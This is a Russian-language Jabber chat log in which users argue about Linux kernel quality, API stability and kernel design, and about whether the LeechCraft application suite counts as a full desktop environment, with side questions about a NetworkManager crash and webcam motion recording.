[20:00:07] <Civilian> nis: опять же, мне кажется что ты говоришь чушь, но мне лениво искать этому доказательства
[20:00:17] <nis> Civilian: напоминаю что то что ты читаешь у тебя в кэше
[20:00:56] <Civilian> nis: еще раз - мне лень искать опровержения твоим словам, но я почти уверен что ты говоришь ересь
[20:01:21] <nis> можешь посмотреть спец литературу и код как ты щас говорил
[20:01:36] <Civilian> nis: ты читаешь что я тебе пишу?
[20:02:19] <nis> Civilian: читаю
[20:02:46] nalcheg_ вышел(а) из комнаты
[20:02:59] <Civilian> nis: что непонятно в фразе "мне лень искать опровержения"?
[20:03:06] <Civilian> мне - значит меня
[20:03:13] <Civilian> лень - значит что я этим заниматься сейчас не хочу
[20:03:24] <Civilian> искать - значит искать, прости за капитанство
[20:03:40] <Civilian> если все понятно, то почему ты предлагаешь мне все равно почитать код сейчас?
[20:04:28] <nis> Civilian: хочу чтобы ты перестал верить в идеальность ядра
[20:04:32] <nis> линукса
[20:04:48] <Civilian> nis: так я и не говорю что оно идеально, но оно лучше чем ты о нем говоришь
[20:04:59] <Civilian> nis: идеала вообще не существует
[20:05:07] <nis> оно скорее хуже чем я говорю чем лучше
[20:05:18] <Civilian> а теперь то же самое, но на русском языке
[20:05:59] <nis> Civilian: https://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.16.3 - хотя бы по этим багфиксам видно как относятся к мейнлайн ядру
[20:06:19] <Civilian> nis: хорошо относятся - баги фиксят
[20:06:31] <nis> которые фиксили уже
[20:06:34] <nis> в прошлой версии
[20:06:53] <Civilian> в прошлой - это в какой?
[20:07:21] <nis> цифс например уже давно в каждом новом миноре пытаются победить
[20:07:32] <nis> а причина одна - девайс-апи переписывают
[20:08:21] <Civilian> nis: ну переписывают - что плохого?
[20:08:40] <nis> то что приходится под апи переписывать весь остальной код
[20:08:45] <nis> что вообще не тру
[20:09:00] ruda вошёл(а) в комнату
[20:09:01] <nis> т.к. появляется куча регрессий
[20:09:10] <Civilian> nis: логично же
[20:09:13] <nis> Civilian: я с ходу в 3.15 нашёл 10 багов
[20:09:18] <nis> даже ничего не делая
[20:09:20] <Civilian> nis: зарепортил?
[20:09:22] <nis> да
[20:09:29] <nis> а смысл - ядро 3.15 упилил
[20:09:30] <nis> и
[20:09:43] <nis> а точнее тролль заеолил
[20:10:39] <Magistr> в 9999м ядре нашел эти баги ?
[20:10:58] <nis> Magistr: у меня уже и стенда нету
[20:11:17] <nis> Magistr: я не пользуюсь ядрами для теста из генту-сорц
[20:11:22] <Civilian> nis: ну заеолил и что?
[20:11:33] <nis> а то что оно снято с поддержки
[20:11:40] <Civilian> и?
[20:11:44] <nis> и эти баги просто никто править не будет
[20:11:52] <nis> надо в новых версиях искать теперь их
[20:11:53] <Civilian> будут если они в 3.16 проявляются
[20:12:04] <Civilian> nis: ну так репортил бы относительно latest
[20:12:08] <Civilian> а не относительно старья
[20:12:11] <Civilian> уже скоро 3.17
[20:12:29] <nis> Civilian: я репортил когда 3.15 только первый багфикс сделало
[20:12:54] <Civilian> nis: а в 3.16 поправили их?
[20:12:55] <nis> а с учётом тормозного саппорта к тому моменту как мне начали отвечать уже 3.17 было
[20:13:01] <nis> Civilian: я не знаю
[20:13:06] <nis> т.к. железки щас нету
[20:13:10] <nis> свободной
[20:13:17] <nis> а на рабочей машине 3.13
[20:13:20] <nis> в которой всё ок
[20:13:42] <Civilian> а ворчишь так, словно оно не поправлено
[20:14:00] <nis> я не уверен что их поправили
[20:14:10] <nis> + я не уверен что они не переросли в другие баги
[20:14:16] <nis> как было в случае с хфс
[20:14:17] <Civilian> но ворчишь так, словно не поправили
[20:14:27] <Civilian> nis: ты xfs использовал для чего?
[20:14:43] <nis> Civilian: я на рассылке сижу
[20:14:45] <nis> порой
[20:15:01] <nis> и вот судя по ченьжлогу опять его поломали
[20:15:44] <nis> Civilian: xfs: ensure verifiers are attached to recovered buffers
[20:15:59] <nis> xfs: quotacheck leaves dquot buffers without verifiers
[20:16:15] <nis> xfs: don't dirty buffers beyond EOF
[20:16:42] <nis> и таких багов штук 20 - 30
[20:17:35] <Civilian> nis: мелкие баги есть всегда.
[20:17:37] <nis> хех
[20:17:43] <nis> синий зуб сломали опять
[20:18:15] <Civilian> nis: потому что с xfs - заголовки старшные, а реально ядро не ломается, ФС не бьется, данные не теряются
[20:18:17] <Civilian> т.е. минорщина
[20:18:19] <ruda> Привет, чят
[20:18:20] <nis> Civilian: понимаешь когда ты пишешь код при фиксированном апи а не в свалке системных вызовов меняющихся от минора к минору
[20:18:28] <nis> Civilian: ломается
[20:18:34] <ruda> (NetworkManager:8179): NetworkManager-ifnet-CRITICAL **: is_managed: assertion 'conn_name != NULL' failed
Segmentation fault
Кто-то такое наблюдает?
[20:18:52] <ruda> При коннекте к вайфаю
[20:19:16] olegon вышел(а) из комнаты
[20:19:20] krigstask вышел(а) из комнаты: Datorn somnade
[20:20:00] <Civilian> nis: я описания почитал - не нашел где ломается.
[20:20:20] <Civilian> в самом худшем из них - false-positive сообщения об ошибках контрольной суммы
[20:20:34] <Civilian> в довольно редких случаях
[20:21:25] <nis> Civilian: стыдно же
[20:21:45] <Civilian> nis: сложного кода без багов почти не бывает
[20:21:53] <Civilian> я бы сказал хорошо что минорщина
[20:22:01] <nis> да хорошо
[20:22:08] <Civilian> и что сложные баги не часто бывает
[20:22:11] <Civilian> *бывают
[20:22:16] <Civilian> nis: все люди - как ни странно люди
[20:22:20] <Civilian> поэтому баги в коде будут
[20:22:30] <nis> ну щас хотя бы ядро запускают на виртуалке после сборки
[20:22:34] <Civilian> а в современном мире вылизывать каждую строчку в течении 5 лет и потом релизить - значит умереть
[20:22:34] <nis> не то что раньше
[20:23:05] <nis> Civilian: ядерный код в идеале выпускается один раз
[20:23:15] <Civilian> nis: да конечно нет )
[20:23:17] <nis> т.к. в большинстве устройств он потом жить
[20:23:20] <Civilian> nis: ядро слишком сложное и большое
[20:23:29] <nis> а это уже другой вопрос
[20:23:39] <nis> оно сложное и большое из-за сам знаешь чего
[20:24:12] <Civilian> nis: из-за того что монолитное и быстрое )
[20:24:24] <nis> последнее я бы вычеркнул
[20:24:29] <Civilian> nis: а зря
[20:24:39] <nis> т.к. куча кода не может быть быстрой по определению
[20:24:53] <0xd34df00d> По какому определению.
[20:24:53] <nis> когда у тебя дублирование на каждом шаге и нету нормального апи
[20:25:04] <Civilian> nis: ты можешь сделать тонкое ядро, но потеряешь в скорости на переключениях контекстов, которые будут случаться чаще
[20:25:11] <0xd34df00d> Процитируй плз определение.
[20:25:13] <Civilian> и не говоря еще о том, что тебе прийдется реализовывать протокол общения
[20:25:24] <Civilian> на котором тоже будешь терять скорость
[20:25:33] <nis> Civilian: зачем тебе ядро перемещать в одтельное пространство
[20:25:51] <nis> а контексты у тебя и щас переключаются - т.к. ядро стало многопоточным
[20:25:59] <nis> а ещё есть прерывания
[20:26:05] <Civilian> nis: будет еще больше же
[20:26:18] <Civilian> nis: т.к. тебе прийдется чаще переходить в userspace и обратно
[20:26:25] <nis> Civilian: ты не понял видимо что я хочу предложить
[20:26:30] <Civilian> nis: ну предложи
[20:26:42] <nis> зачем что-то выносить в юзер-спейс
[20:26:53] <nis> когда можно у себя же дома навести порядок
[20:27:15] <Civilian> nis: ну ты конретику давай
[20:27:17] <Civilian> а не фигню
[20:27:36] <nis> чётко разделить что ядро а что сопутствующий код
[20:27:54] <nis> ограничить число системных вызовов до необходимого минимума
[20:28:13] <nis> сделать чёткое апи для набора действий я ядром - как у план9 к примеру
[20:28:24] <0xd34df00d> Не барское это дело, конкретику давать.
[20:28:39] <Civilian> nis: рано или поздно ты упрешься в то, что апи недостаточно
[20:28:49] <Civilian> и либо костыли и велосипеды, либо смена API
[20:28:50] <nis> сделать возможность вытесняемости не только процессов ядра но и планировщиков
[20:28:55] <nis> Civilian: нет
[20:28:58] <Civilian> nis: что нет?
[20:29:02] <Civilian> nis: нельзя предусмотреть все
[20:29:06] <Civilian> поэтому API будет меняться
[20:29:08] <nis> т.к. у тебя ядро всегда будет делать один и тот же функционал
[20:29:20] <nis> это щас у тебя ядро разве что за пивом не бегает
[20:29:23] <Civilian> nis: а как на счет драйверов? Разных фич файловых систем и так далее
[20:29:35] <nis> Civilian: это всё не относится к ядру вообще
[20:29:43] <Civilian> nis: и выносится в юзерспейс?
[20:29:48] <nis> нет
[20:29:51] <Civilian> а что тогда?
[20:29:54] <nis> это выносится в модули ядра
[20:29:57] <Civilian> это тоже части апи ядра - VFS те же
[20:30:03] <nis> и там живёт в своих потоках
[20:30:12] <nis> VFS это костыль
[20:30:20] <nis> в текущей реализации
[20:30:32] <nis> идея супер, но реализация плакаль
[20:30:38] <Civilian> nis: ты не сможешь предусмотреть всего
[20:30:54] <nis> Civilian: опять же ты пытаешься переложить на ядро всю работу
[20:31:07] <nis> Linux Kernel != Linux OS
[20:31:16] <nis> а в твоей модели это так
[20:31:55] <Civilian> nis: где?
[20:32:38] <nis> а как на счет драйверов? Разных фич файловых систем и так далее
[20:32:49] <nis> зачем ядру знать про все эти фичи?
[20:33:54] <Civilian> nis: затем что тебе нужен какой-то слой абстракции которой бы дал ядру возможность унифицированно делать запросы
[20:34:00] <Civilian> т.е. API
[20:34:31] <Civilian> и всегда найдется что-то, что не ложится или плохо ложится на это API
[20:34:37] <Civilian> а значит надо будет переделать его
[20:35:20] <nis> Civilian: не придётся
[20:35:25] <Civilian> почему?
[20:35:29] <nis> а зачем?
[20:35:42] <nis> что тебе можешь понадобиться от ядра что нельзя описать сразу?
[20:35:45] <0xd34df00d> Лал.
[20:36:09] <Civilian> nis: затем что все течет все меняется
[20:36:13] <0xd34df00d> Когда в личкрафтах такая же архитектура, nis говорит, что она слишком смазана.
[20:36:31] <0xd34df00d> Ты бы либо уж крестик бы снял, либо трусы надел.
[20:36:34] <nis> Civilian: зачем?
[20:36:37] <Civilian> nis: потому что есть тенденция к реализации всяких lvm/raid в файловых системах
[20:36:38] <Civilian> например
[20:36:50] <nis> и?
[20:36:54] <Civilian> потому что это более производительно, чем отдельными типами устройств
[20:36:58] <nis> Civilian: бсд ядро старой системы
[20:37:00] <Civilian> nis: это тоже не так хорошо ложится
[20:37:11] <Civilian> nis: вон в zfs кэширование не легло в API ядра линукса - сделали свое
[20:37:14] <nis> и там это было ещё в те времена когда ты наверняка только в школу пошёл
[20:37:43] <nis> Civilian: ну да а потом мучались
[20:37:47] <nis> от версии к версии
[20:38:03] <nis> Civilian: я скажу так - наговнокодить труда много ненадо
[20:38:08] <Civilian> nis: что "бсд ядро старой системы"?
[20:38:14] <nis> а стоящую систему сделать не так и просто
[20:38:38] <Magistr> филосовские беседы с нисом о ядре
[20:38:45] <Magistr> уже отдельный канал можно заводить
[20:38:59] <Magistr> и еще о процах и армах
[20:39:29] <Magistr> ruda:О Руда )
[20:40:33] <Civilian> nis: ты говори на русском языке пожалуйтса - я не могу распарсить твою мысль даже
[20:42:30] <nis> 0xd34df00d: что я говорил и когда?
[20:42:42] ruda вышел(а) из комнаты
[20:45:45] ruda вошёл(а) в комнату
[20:46:02] <ruda> Magistr: привет )
[20:46:57] olegon вошёл(а) в комнату
[20:47:20] <olegon> arrgrrrh, где теперь в ядре поддержка UVC-камер?
[20:47:52] <nis> )))
[20:48:23] <olegon> nis: знаешь секрет?
[20:48:36] <nis> Civilian: ну а что я могу сделать - если тебе анриал объяснить очевидные вещи: код работающий в продакшене не может быть хорошим
[20:48:40] <olegon> загадочно, на сервере яндекса время вперед убежало?
[20:48:54] <Civilian> nis: оп может быть сносным
[20:48:56] <olegon> сейчас 44 минуты, а выплюнуло цитату за 46
[20:49:22] <nis> Civilian: он может быть и не сносным
[20:49:23] <Civilian> olegon: эт где, интересно?
[20:49:27] <nis> и даже не работать
[20:49:30] <Civilian> nis: может и не быть
[20:49:37] <Civilian> nis: если он не работает, то это факап
[20:49:39] <Civilian> или не продакшн
[20:49:42] <olegon> Civilian: при входе "09-25 20:46 <== <ruda> Magistr: привет )"
[20:49:50] <olegon> сейчас еще 45
[20:49:52] <nis> Civilian: и это не факап
[20:49:57] <olegon> ну было
[20:50:29] <nis> просто никто не тестил
[20:50:35] <nis> это поведение
[20:50:48] <nis> а однократного запуска не всегда достаточно для полной картины
[20:50:56] <Civilian> olegon: пни Night Nord'а чтобы он время посинкал )
[20:50:59] <nis> точнее почти никогда не достаточно
[20:51:05] <Civilian> nis: ну значит это не продакшн
[20:51:14] <nis> Civilian: продакшн
[20:51:18] <olegon> Night Nord: воть
[20:51:30] <Civilian> nis: код или работает хоть как-то хоть в каких-то условиях или это факап или не продакшн
[20:51:33] <nis> задача продакшена - быстрые деньги
[20:51:36] <nis> ничего более
[20:51:39] <Civilian> nis: продакшн предполагает что штука как-то работает
[20:51:45] <Civilian> криво, неправильно - не важно
[20:51:52] <Civilian> если что-то не работает совсем - это называется "факап"
[20:52:00] <nis> неправильно === неработает
[20:52:28] <Civilian> nis: незапускается == не работает
[20:52:33] <Civilian> неправильно == как-то работает
[20:52:38] <nis> неа
[20:52:42] <Civilian> nis: да
[20:52:47] <Civilian> nis: запустился - значит работает
[20:52:52] <nis> запускается != работает
[20:53:14] <Civilian> nis: если код выдает не тот результат - это работающий код, но не правильно работающий
[20:53:14] <nis> Civilian: вот у тебя если из унитаза пойдёт вода в обратном направлении это что?
[20:53:31] <Civilian> nis: это плохо работающая канализация )
[20:53:33] <Civilian> или унитаз
[20:54:00] <nis> я думаю для тебя это будет факап
[20:54:07] <nis> даже фейл
[20:54:30] <Civilian> nis: если тебе кажется что система хоть как-то работает - т.е. входные данные её не рушат к чертям каждую секунду - это называется "работает"
[20:54:42] <Civilian> дальше начинается мера работоспособности уже
[20:54:59] <nis> бывает что ничего не падает
[20:55:06] <nis> т.к. собственно данные не идут вообще
[20:55:09] <nis> )
[20:55:28] <Civilian> nis: если я могу сделать все дела не сломав унитаз - значит он работает. Если при этом в момент слива он будет плевать результатом мне в лицо - это некорректное поведение уже )
[20:56:05] <nis> Civilian: а если ты при подходе к унитазу получши струю шириной в трубу унитаза?
[20:56:37] <Civilian> nis: ну что сказать - грустно
[20:57:31] <nis> вот тебе пример того как я запускал пингвин на кости
[20:57:48] <nis> т.е. ядро либо ребуталось, либо падало, либо рушило усб-стек
[20:57:49] <0xd34df00d> nis: говорил, что у личкрафта нет архитектуры, ибо она размазана и не формализована в ядре.
[20:57:57] <nis> 0xd34df00d: да, так и есть
[20:58:16] <nis> т.к. архитектурного ансамбля я так и не увидел
[20:58:33] <Civilian> nis: продакшн - это когда ты поставил унитаз и довел все до состояния, что можешь справлять нужду не опасаясь что унитаз в это время развалится на две части, что он телепортируется в этот момент на марс и т.п. - короче нарушит твое единение с природой
[20:58:48] <Civilian> если при этом на подходе к унитазу он будет пытаться тебе отрубить голову гильотиной - это уже баги
[20:58:57] <Civilian> или вместо смыва будет плевать в тебя кислотой
[20:58:58] <nordwind> дежавю, два года прошло, а вы все о том же
[20:59:10] <Civilian> nordwind: о эксплуатации унитазов? )
[20:59:33] <0xd34df00d> nis: что такое архитектурный ансамбль?
[20:59:37] <Civilian> nis: если он будет каждый сотый раз отрубать тебе голову - это баг
[20:59:40] <nis> но при этом слив не работает
[20:59:48] <0xd34df00d> Чо это за термин такой?
[20:59:50] <nis> воды в бачке не достаёт
[20:59:56] <nis> 0xd34df00d: загугли
[21:00:04] <nordwind> о архитектуре личкрафтов
[21:00:06] <0xd34df00d> Скажи своими словами плз.
[21:00:08] <olegon> товарищи, у кого память хорошая, что по движению с видеокамеры пишет видео?
[21:00:20] <Civilian> nis: ну унитаз готов к работе в продакшене когда ты его поставил и сделал контрольное справление нужды и убедился что хотя бы один раз это сделать было можно
[21:00:24] <olegon> motion блин
[21:00:26] <olegon> вспомнил
[21:00:28] <nis> 0xd34df00d: нет ты именно загугли
[21:00:49] <Civilian> nis: иначе это будет "бета тестирование на людях" или что-нибудь такого же плана
[21:00:49] <nis> Civilian: и даже если это бывает только один раз на один экземпляр?
[21:01:24] <Civilian> nis: если ты говоришь "эта инсталяция унитаза готова к продакшену" - значит что он прошел тестирование хотя бы один раз хотя бы тобой хотя бы базовых функций
[21:01:29] <Civilian> т.е. "с виду работает"
[21:02:52] <0xd34df00d> nis: какая-то хренота из искусства.
[21:03:02] <0xd34df00d> Так что скажи ты.
[21:04:47] <nis> 0xd34df00d: концептции у тебя нету
[21:04:51] <nis> вот чего
[21:05:20] <0xd34df00d> Концепции чего?
[21:05:26] <nis> лича же
[21:05:29] <0xd34df00d> Взаимодействия с пользователем?
[21:05:42] <0xd34df00d> Так каким раком оно к архитектуре системы?
[21:05:47] <nis> неа устройства хотя бы для начала
[21:08:09] <0xd34df00d> А так она есть, с чего ты взял, что ее нет?
[21:08:43] <nis> где
[21:09:05] <nis> что такое лич одним словом из которого можно было бы понять весь его функционал
[21:09:08] olegon вышел(а) из комнаты
[21:10:00] <Civilian> nis: среда запуски пользовательских модулей :)
[21:11:46] <0xd34df00d> Вот именно.
[21:11:48] <nis> Civilian: короче хрень
[21:11:54] <0xd34df00d> Цивилиан все правильно сказал.
[21:11:58] <nis> т.к в одно слово не укладывается
[21:12:00] <Civilian> nis: почему хрень?
[21:12:07] <0xd34df00d> nis: почему хрень?
[21:12:29] <0xd34df00d> nis: откуда условие на одно слово?
[21:14:37] <nis> Civilian: потому, что нельзя точно сказать что есть что, и второе нельзя определить значимость компонентов для целого
[21:14:48] <nis> 0xd34df00d: просто тест на идеи
[21:15:55] <0xd34df00d> Определи мне в одно слово линукс кернел.
[21:15:57] <Civilian> nis: комбаин
[21:16:05] <Civilian> это про личкрафт
[21:16:23] <0xd34df00d> И чтобы значимость конпелятора, глибц и иксов из этого сразу вытекала.
[21:16:48] <nis> 0xd34df00d: последнее не входит в систему
[21:17:04] <nis> Civilian: т.е. швейцарский нож
[21:17:05] <0xd34df00d> Но стоит на десктопе и работает под линуксом.
[21:17:17] <0xd34df00d> Так что не отмазывайся, давай, определяй.
[21:17:22] <Civilian> nis: в двух словах - да, в одном - комбаин
[21:17:37] <0xd34df00d> nis: хочешь, шиной личкрафты называй.
[21:18:02] <Civilian> nis: фуд делает запускалку модулей с API и набор модулей реализующих несколько функций типа jabber-клиент
[21:18:12] Desu вошёл(а) в комнату
[21:18:17] <Civilian> nis: оценивай личкрафты с этой токи зрения
[21:18:40] <0xd34df00d> Плюс некая общая шина обмена информацией между модулями.
[21:18:50] <0xd34df00d> Плюс идеология их построения.
[21:18:54] <Civilian> ну как бы это входит в API :)
[21:19:06] <0xd34df00d> Ну, тащем, да.
[21:19:11] <Civilian> 0xd34df00d: теоретически к личкрафтам можно написать модуль с другой идеологией )
[21:19:16] <Civilian> ты его в офф поставку просто не включишь
[21:19:23] <nis> чем это отличается от существующих решений?
[21:19:28] <0xd34df00d> Кстати, эклипс ничотак, особенно когда работает на машине с 384 гигами оперативки.
[21:19:29] <nis> и чем это лучше кде?
[21:20:03] bober2000 вошёл(а) в комнату
[21:20:13] <0xd34df00d> nis: каких существующих решений?
[21:20:44] <0xd34df00d> Чем лучше кед --- отдельныф вопрос. IM лучше, плеер на уровне, и так далее.
[21:21:04] <Civilian> nis: тем что ты сравниваешь комбайн с DE
[21:21:14] <Civilian> nis: ты под личкрафтами не можешь запустить произвольный софт )
[21:21:18] <nis> Civilian: а у фуда де и получается
[21:21:29] <nis> но какое-то недоделанное что-ли
[21:21:39] <nis> ограниченное даже местами сильно
[21:21:40] <Civilian> nis: оно не де
[21:22:05] <Civilian> nis: оно настолько же де, насколько вим и емакс
[21:22:15] <nis> вот
[21:22:21] <nis> т.е. монстр
[21:22:38] <0xd34df00d> Civilian: вообще-то можно.
[21:22:46] <0xd34df00d> Есть лончер.
[21:22:47] <Civilian> 0xd34df00d: ты уже реализовал WM?
[21:22:54] <0xd34df00d> Есть переключатель приложений.
[21:22:59] <Civilian> 0xd34df00d: не, под - в смысле чтобы окнами управляли личкрафты
[21:23:00] <nis> Civilian: есть в программировании понятие божественны класс
[21:23:03] <nis> й
[21:23:04] <0xd34df00d> Есть даже эмулятор терминала.
[21:23:13] <nis> а у фуда "божественное по"
[21:23:21] <0xd34df00d> Civilian: а, а зачем им это?
[21:23:28] <Civilian> 0xd34df00d: чтобы стать полноценным де )
[21:23:37] <0xd34df00d> nis: любое DE тебе божественное.
[21:23:43] <Civilian> 0xd34df00d: все что есть - десктоп фулскринный
[21:23:47] <Civilian> все остальное - летает внутри
[21:24:03] <0xd34df00d> Civilian: куча всяких xfce-lxde дёргают openbox и не парятся.
[21:24:36] <Civilian> 0xd34df00d: у xfce свое - ну в смысле что тебе нужна какая-то штука, которая бы управляла окнами
[21:24:40] <Civilian> можно не свою
[21:25:14] <nis> 0xd34df00d: кде тоже можно без ущерба разобрать
[21:25:22] <nis> а у тебя лич нельзя
[21:27:56] <0xd34df00d> Civilian: не понял, обесни.
[21:28:09] <0xd34df00d> Чего конкретно-то не хватает?
[21:28:19] <0xd34df00d> В случае не своей штуки.
[21:28:33] <Civilian> 0xd34df00d: управления чужими окнами в режиме, когда личи не будут захватываться, а будут полноэкранными например
[21:28:53] <Civilian> 0xd34df00d: а в случаи не своей - нууу еще интеграции этой штуки и управления её настройками
[21:28:59] <0xd34df00d> nis: эм, кто сказал? Личкрафт модульный, берешь и разбираешь, отключая-удаляя модкли2.
[21:29:05] <0xd34df00d> Модули, тьфу.
[21:29:22] <0xd34df00d> Civilian: оба пункта есть.
[21:29:52] <Civilian> 0xd34df00d: а, ну значит он DE
[21:30:18] <0xd34df00d> Civilian: вот, глянь на всякий http://leechcraft.org/user-guide-desktop-mode
[21:30:29] <0xd34df00d> А то мало ли, вдруг не допоняли.
[21:30:54] <Civilian> 0xd34df00d: а почему ты не хочешь WM реализовывать?
[21:31:14] <Civilian> 0xd34df00d: ну к этому претензии в том что модули - они модули...
[21:31:16] <Civilian> личевские
[21:31:30] <Civilian> нельзя на место модуля личкрафта поставить Amarok какой-нибудь
[21:31:41] <Civilian> или вытащить модуль личкрафта как окно
[21:32:00] <0xd34df00d> Вытащить модуль, кстати, можно.
[21:32:09] <Civilian> 0xd34df00d: а всунуть приложение?
[21:32:10] <0xd34df00d> Если он это подразумевает.
[21:32:12] <Civilian> чужое
[21:32:15] <0xd34df00d> Куда?
[21:32:27] <Civilian> 0xd34df00d: вместо azoth'а например всунуть irc клиент
[21:32:31] <Civilian> на каком-нибудь скриншоте
[21:32:45] <0xd34df00d> Будет отдельным окном.
[21:32:59] <0xd34df00d> Можно во вкладки, теоретически, но нужно ли?
[21:33:10] <Civilian> 0xd34df00d: http://leechcraft.org/sites/default/files/images/fenet01.png чтобы тут вместо видимо браузера было что-то другое
[21:33:12] <Civilian> например хром
[21:33:26] <Civilian> или это не браузер?
[21:33:37] <Civilian> 0xd34df00d: короче чтобы поведения приложений полностью соответствовало поведению модулей
[21:33:53] <0xd34df00d> Где браузер?
[21:34:01] <Civilian> 0xd34df00d: ну вместо settings'а или что там у тебя
[21:34:03] <0xd34df00d> Там виднеется вкладка браузера, и все.
[21:34:20] <0xd34df00d> А. То есть, чтобы оно вкладками все было?
[21:34:22] <Civilian> 0xd34df00d: суть в том чтобы можно было вместо вкладки браузера запустить хром
[21:34:40] <0xd34df00d> В смысле, и сторонние приложения?
[21:34:40] <Civilian> 0xd34df00d: чтобы был полноценный Window Management и модули личкрафта и сторонние приложения имели равные права
[21:35:05] <Civilian> если одно может быть float - то и другое. Одно можно упихать в главное окно личей - и второе тоже
[21:35:34] backbone вышел(а) из комнаты
[21:36:41] <0xd34df00d> А.
[21:36:48] <0xd34df00d> А зачем оно?
[21:41:06] <Civilian> 0xd34df00d: чтобы быть полноценным DE
[21:42:22] <0xd34df00d> Неочевидно, но ладно,  разумно.
[21:42:44] <Civilian> 0xd34df00d: поэтому тебе прийдется свой WM писать в итоге
[21:42:50] <Civilian> плюс OpenBox скуден по фичам таки
[21:44:14] 0xd34df00d вышел(а) из комнаты: Disconnected: Replaced by new connection
[21:44:24] 0xd34df00d вошёл(а) в комнату
[22:05:36] <nis> хех
[22:06:05] qnikst вышел(а) из комнаты
[22:06:19] evadim вышел(а) из комнаты
[22:08:15] qnikst вошёл(а) в комнату
[22:13:35] 0xd34df00d вышел(а) из комнаты
[22:13:46] emu-nero~ вошёл(а) в комнату
[22:14:48] 0xd34df00d вошёл(а) в комнату
[22:17:03] 0xd34df00d вышел(а) из комнаты: Disconnected: closed
[22:17:13] 0xd34df00d вошёл(а) в комнату
[22:18:17] slepnoga вошёл(а) в комнату
[22:22:40] Civilian вышел(а) из комнаты: Replaced by new connection
[22:22:50] Civilian вошёл(а) в комнату
[22:24:57] 0xd34df00d вышел(а) из комнаты: Disconnected: Replaced by new connection
[22:25:09] magog вошёл(а) в комнату
[22:26:05] 0xd34df00d вошёл(а) в комнату
[22:27:46] 0xd34df00d вышел(а) из комнаты: Disconnected: Replaced by new connection
[22:31:55] 0xd34df00d вошёл(а) в комнату
[22:32:55] nis вышел(а) из комнаты
[22:44:58] qnikst вышел(а) из комнаты: Replaced by new connection
[22:45:08] qnikst вошёл(а) в комнату
[22:46:01] slepnoga вышел(а) из комнаты: Replaced by new connection
[22:46:11] slepnoga вошёл(а) в комнату
[22:49:54] 0xd34df00d вышел(а) из комнаты: Disconnected: closed
[22:50:07] 0xd34df00d вошёл(а) в комнату
[22:50:19] 0xd34df00d вышел(а) из комнаты
[23:02:20] nordwind вышел(а) из комнаты
[23:18:47] Civilian вышел(а) из комнаты
[23:19:22] emu-nero~ вышел(а) из комнаты
[23:20:42] Desu вышел(а) из комнаты
[23:20:50] Desu вышел(а) из комнаты
[23:26:11] <0xd34df00d> Опять Ниса пропустил :(
[23:26:23] <0xd34df00d> http://codepad.org/tnOIzzqp
[23:26:31] <0xd34df00d> qnikst: я тебе хачкель принёс!
[23:26:44] <qnikst> Мм?
[23:27:19] <qnikst> Я только сегодня из ME, летел целый день ничего не знаю :)
[23:27:33] <qnikst> Опакетить?
[23:28:11] <qnikst> О блин, это ж код тут смотреть и понимать надо
[23:28:47] <0xd34df00d> qnikst: это я пытаюсь делать Functor на плюсах.
[23:28:49] <0xd34df00d> И fmap.
[23:28:58] <qnikst> Трейты бусты функторы :)
[23:29:54] <0xd34df00d> Буст там иллюстрирующий пример.
[23:29:57] <0xd34df00d> Сам по себе он не нужен.
[23:29:58] <qnikst> Я щас гуляю с сыном по городу и он неизвестно куда меня тащит, видимо заблудился, завтра погляжу :)
[23:30:00] <qnikst> Аа
[23:30:02] <0xd34df00d> Мне просто это всё для boost.optional нужно было.
[23:30:06] <0xd34df00d> Оно как Maybe.
[23:30:55] <qnikst> Ну я понял это
[23:31:46] <qnikst> Но далеко не все, плюсы ужасно читаются :)
[23:32:31] <0xd34df00d> Да ппц.
[23:32:33] <0xd34df00d> Хм, надо допилить.
[23:34:22] Civilian вошёл(а) в комнату
[23:38:35] evadim вошёл(а) в комнату
[23:42:17] slepnoga вышел(а) из комнаты
[23:52:46] qnikst вышел(а) из комнаты
[23:53:44] qnikst вошёл(а) в комнату
[23:57:19] CarelessChaser вошёл(а) в комнату
Powered by ejabberd Powered by Erlang Valid XHTML 1.0 Transitional Valid CSS!